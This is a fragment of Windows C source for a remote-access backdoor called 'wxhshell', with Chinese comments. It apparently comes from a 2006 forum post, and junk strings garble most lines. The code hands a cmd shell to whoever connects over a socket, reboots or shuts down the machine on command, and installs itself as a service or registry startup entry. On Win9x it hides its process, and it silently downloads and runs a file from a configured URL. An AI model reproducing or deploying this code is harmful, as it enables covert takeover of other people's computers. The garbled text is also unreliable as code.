  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Iw(+%D  
  } qO#3{kW  
  else { :GXF=Df  
6hxZ5&;(*  
    switch(cmd[0]) { j9p6 rD  
  IOy0WHl|  
  // 帮助 ?d7,0Ex P  
  case '?': { v@ _1V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V(MYReaPC]  
    break; `JySuP2~/  
  } )9]a  
  // 安装 (Xd8'-G$m  
  case 'i': { |&; ^?M  
    if(Install()) QJ|@Y(KV0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BI1M(d#1L"  
    else T+kV~ w{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k9Pvh,_wp  
    break; 6_CP?X+T  
    } Z>hTL_|]a{  
  // 卸载 sy: xA w  
  case 'r': { x/*lNG/  
    if(Uninstall())  YKyno?m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2@o`R.27  
    else Q Be6\oq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &d_^k.%y  
    break; I'/3_AX  
    } K"#$",}=  
  // 显示 wxhshell 所在路径 kwI``7g8*e  
  case 'p': { Z(mUU]  
    char svExeFile[MAX_PATH]; Br1R++]  
    strcpy(svExeFile,"\n\r"); LgqQr6y"  
      strcat(svExeFile,ExeFile); ARH~dN*C  
        send(wsh,svExeFile,strlen(svExeFile),0); C/kf?:j  
    break; M(%H  
    } Q]ersA8 V>  
  // 重启 VD;*UkapZx  
  case 'b': { slQn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~k"+5bHa*  
    if(Boot(REBOOT)) VY?9|};f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #}`sfaT  
    else { '7iz5wC#  
    closesocket(wsh); Iy<>-e"|  
    ExitThread(0); MpV<E0CmE  
    } LEb$Fd  
    break; <kh.fu@.Q  
    } b^o4Q[  
  // 关机 {,>G 1>Yv  
  case 'd': { VYk:c`E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OVg&?fiP  
    if(Boot(SHUTDOWN)) ?CpVA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S 'a- E![  
    else { G|6qL  
    closesocket(wsh); >F/^y O  
    ExitThread(0); 0At0`Q#  
    } kAftW '  
    break; I^NDJdxd  
    } DT-VxF6h  
  // 获取shell |RX#5Q>z  
  case 's': { ejN/U{)jK'  
    CmdShell(wsh); s68(jYC7[  
    closesocket(wsh); ;mQj2Bwr  
    ExitThread(0); D,#UJPyg  
    break; 9&+]YY CS-  
  } = Xgo}g1  
  // 退出 j G8;p41  
  case 'x': { fzsy<Vl",  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -|>~I#vY  
    CloseIt(wsh); 1J?v\S$ma`  
    break; -/f$s1  
    } {j2V k)\[i  
  // 离开 XKp&GE@Y  
  case 'q': { [WwoGg*)mn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 09kR2(nsW/  
    closesocket(wsh); z^bS+0S5x!  
    WSACleanup(); e@D_0OZ  
    exit(1); !~#zd]0x;  
    break; UU=]lWib  
        } 7|,L{~  
  } sd%j&Su#4  
  } jJ$\WUQ.  
g=Xf&}&=x  
  // 提示信息 ^rWg:fb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yRXML\Ge  
} p2vN=[g9)  
  } mU5Ox4>&9  
$1f2'_`8~  
  return; =2\2Sp  
} zWY988fX0  
n !)$e;l  
// shell模块句柄 Gwd38  
int CmdShell(SOCKET sock) \|=6<ZY:  
{ zxR]+9Zh  
STARTUPINFO si; Fh#QS'[  
ZeroMemory(&si,sizeof(si)); _ *f>UW*,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #U:|- a.>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oE ' P  
PROCESS_INFORMATION ProcessInfo; *HoRYCL  
char cmdline[]="cmd"; )/RG-L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nCQtn%j't  
  return 0; /7}pReUj  
} z,,"yVk`,  
s6H.Q$3L  
// 自身启动模式 }c/p;<  
int StartFromService(void) 8(1*,CJQg  
{ RpJ7.  
typedef struct @KQ>DBWQM  
{ *Fy6 -CC1  
  DWORD ExitStatus; V}y]<  
  DWORD PebBaseAddress; BA@E  
  DWORD AffinityMask; k]m ~DVS  
  DWORD BasePriority; $d<NN2  
  ULONG UniqueProcessId; ^{M$S0g|N  
  ULONG InheritedFromUniqueProcessId; q5;dQ8Y ?  
}   PROCESS_BASIC_INFORMATION; =B}IsBn'J  
$Q*R/MY  
PROCNTQSIP NtQueryInformationProcess; q?!HzZ  
}0'LKwIR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }UPC~kC+Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xm#W}Y'  
/.]u%;%r[  
  HANDLE             hProcess; Q y qOtRk  
  PROCESS_BASIC_INFORMATION pbi; M@[W"f Wq  
D Q.4b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DNGyEC  
  if(NULL == hInst ) return 0; <K CI@  
{$8+n::  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XvI~"}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VrIN.x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yq ]sPE92  
}#ink4dK:  
  if (!NtQueryInformationProcess) return 0; Q.N!b 7r7  
H_&to3b(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1KZigeHXI  
  if(!hProcess) return 0; ;@Zuet  
. 1kB8&}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mt.Cj;h@^[  
C^ZoYf8+"m  
  CloseHandle(hProcess); }m+Q(2  
)U~|QdZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '8 .JnCg  
if(hProcess==NULL) return 0; wUaWF$~y  
J _rrc;F  
HMODULE hMod; JC cYFtW  
char procName[255]; 2"D4q(@  
unsigned long cbNeeded; L\#YFf  
w[X-Q+7p(t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +jhzE%  
LK}g<!o(  
  CloseHandle(hProcess); YE`Y t  
p7QZn.,=u  
if(strstr(procName,"services")) return 1; // 以服务启动 :i&]J$^;  
|OeWM  
  return 0; // 注册表启动 $b`nV4p  
} h(=<-p @  
~cc }yDe  
// 主模块 lp(2"$nQ  
int StartWxhshell(LPSTR lpCmdLine) O}i+ 1  
{ }U8v ~wcd  
  SOCKET wsl; %,WH*")  
BOOL val=TRUE; yeiIP  
  int port=0; CHGa_  
  struct sockaddr_in door; k9%o{Uzy  
+&S 7l%-  
  if(wscfg.ws_autoins) Install(); x'g4DYl  
lJ;Wi  
port=atoi(lpCmdLine); %*Ex2we&  
y'm!h?8  
if(port<=0) port=wscfg.ws_port; Y#}qXXZ>]  
Z"VP<-  
  WSADATA data; V8/4:Va7 s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xf4~e(O  
3O,nNt;L{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X\`']\l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -6+7&.A+  
  door.sin_family = AF_INET; 3RaW\cWzg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +(2$YJ35  
  door.sin_port = htons(port); qFWN._R  
t+a.,$U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > -OOU  
closesocket(wsl); SV o?o|<  
return 1; `,'/Sdr  
} bL xZ 5C7t  
-gvfz&Lz  
  if(listen(wsl,2) == INVALID_SOCKET) { d3:GmB .  
closesocket(wsl); Xr  <H^X  
return 1; " AUSgVE+h  
} \96\!7$@O  
  Wxhshell(wsl); ;mEn@@{  
  WSACleanup(); >eA@s}_8  
{_N9<i{T  
return 0; &:l-;7d  
wj6u,+  
} I(^0/]'  
Imv#7{ndq  
// 以NT服务方式启动 ir<e^a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |OJWQU![by  
{ b=r3WkB6  
DWORD   status = 0; J$51z  
  DWORD   specificError = 0xfffffff; U5kKT.M  
5hmfdj6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +4-T_m/W/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o#p%IGG`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qn8xe,  
  serviceStatus.dwWin32ExitCode     = 0; _CHzwNU  
  serviceStatus.dwServiceSpecificExitCode = 0; 0o+Yjg>\~8  
  serviceStatus.dwCheckPoint       = 0; f(pq`v^-n  
  serviceStatus.dwWaitHint       = 0; b;b,t0wS  
l^&#9d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k^Qf |  
  if (hServiceStatusHandle==0) return; M/6Z,oOU  
d9$RmCHe}  
status = GetLastError(); ?C[?dg{n  
  if (status!=NO_ERROR) D#LV&4e>.E  
{ ^i%S}VK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mq$K[]F  
    serviceStatus.dwCheckPoint       = 0; 1_TuA(  
    serviceStatus.dwWaitHint       = 0; Gt.'_hf Js  
    serviceStatus.dwWin32ExitCode     = status; tq59w  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 cycnOd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _H]^7`;  
    return; \Sd8PGl*'  
  } 5z_d$.CIc  
7,SQz6]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g[G /If  
  serviceStatus.dwCheckPoint       = 0; F(hPF6Zx(  
  serviceStatus.dwWaitHint       = 0; ZwDL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AI2XNSV@Yl  
} S[K5ofV  
CI{2(.n4  
// 处理NT服务事件,比如:启动、停止 T2Yf7Szp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V#oz~GMB  
{ 5 e+j51  
switch(fdwControl) C{bxPILw  
{ ~^obf(N`  
case SERVICE_CONTROL_STOP: Q~]oN  
  serviceStatus.dwWin32ExitCode = 0; -LiGO#U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ts~VO`  
  serviceStatus.dwCheckPoint   = 0; 6o^>q&e}%  
  serviceStatus.dwWaitHint     = 0; ^f,4=-  
  { ,4H? +|!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~3:VM_  
  } hH`x*:Qja  
  return; )5b_>Uy  
case SERVICE_CONTROL_PAUSE:  Gk~aTO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =c@hE'{  
  break; |<c9ZS+  
case SERVICE_CONTROL_CONTINUE: iL;V5|(sb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "\@J0 |ppb  
  break; @4;'>yr(  
case SERVICE_CONTROL_INTERROGATE: Gt&yz"?D  
  break; uJ2ZHrJ  
}; i?/Q7D<P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "zcAYg^U  
} zdwQpB,+^  
 [^ }$u[  
// 标准应用程序主函数 Yd3lL:M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h-PJC/>  
{ ''9]`B,:a0  
nDvfb* \  
// 获取操作系统版本 pl>b 6 |  
OsIsNt=GetOsVer(); Gt*<Awn8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0G8@UJv6  
0Ye/  
  // 从命令行安装 x~5,v5R^]  
  if(strpbrk(lpCmdLine,"iI")) Install(); \NNA"  
p-"C^=l  
  // 下载执行文件 \Hp!NbnF$  
if(wscfg.ws_downexe) { ?>+uO0*S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~a_hOKU5  
  WinExec(wscfg.ws_filenam,SW_HIDE); H}r]j\  
} OFr"RGW"  
fcdXj_u  
if(!OsIsNt) { 2@MpWj4  
// 如果时win9x,隐藏进程并且设置为注册表启动 =-oP,$k  
HideProc(); Lz1KDXr`)+  
StartWxhshell(lpCmdLine); m u9,vH  
} |$/#,Dv7  
else zmQQ/ 7K  
  if(StartFromService()) oL~1M=r  
  // 以服务方式启动 \Yj_U'2"i  
  StartServiceCtrlDispatcher(DispatchTable); $@6q5Iz!&  
else M%:\ry4:  
  // 普通方式启动 R>"pJbS;L  
  StartWxhshell(lpCmdLine); oPs asa  
N|mggz  
return 0; Q.$/I+&j  
}
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只看该作者 1 发表于: 2006-10-10
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